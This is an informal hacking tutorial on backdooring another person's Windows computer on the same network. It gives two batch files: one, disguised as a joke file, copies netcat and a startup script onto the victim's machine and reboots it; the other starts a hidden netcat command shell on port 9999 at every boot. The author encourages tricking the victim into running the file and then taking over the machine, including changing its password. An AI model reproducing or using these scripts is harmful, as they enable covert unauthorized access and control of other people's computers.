Get netcat, put that in a shared folder on your comoputer, be sure that his computer Must be able
to copy it from your computer. Every Once a while he will check for stuff thats shared on your comouter which he can
then copy from you. There will be one filke that you really want him to run, since he is on your network, It's a batch file that you will
create using notepad, it goes like this:

@echo off

c:
cd\
xcopy \\(YOUR COMPUTER NAME)\(THE SHARED FOLDER NAME)\netcat.exe
cd "Documents and Settings"
cd "All Users"
cd "start Menu"
cd Programs
cd Startup
xcopy \\(Your COMPUTER NAME)\(THE SHARED FOLDER NAME)\Startup.bat
cd\
restart -r -t 05 -c "(Whatever You wana say)"

His computer will reboot after that, what this batch file do is copy netcat from your computer to his computer on his local
C: drive, then It copies another batchfile (which we will create now) into his startup folder, the Startup batchfile looks like
this:

@echo off

c:
cd\
netcat.exe -L -p 9999 -d -ecmd.exe

That is it, once that startup folder is there you can then Telnet to port 9999 on his computer and have full access
on his computer, you can do what you want, even change his windows password to fit your needs. Name the firts batchfile
"Cool Stuff" or "Funny Joke" or some like that. But once he has executed that one batchfile in the shared folder that copies
those other 2 programs, you are gonna be his Boss...

Astalavista!
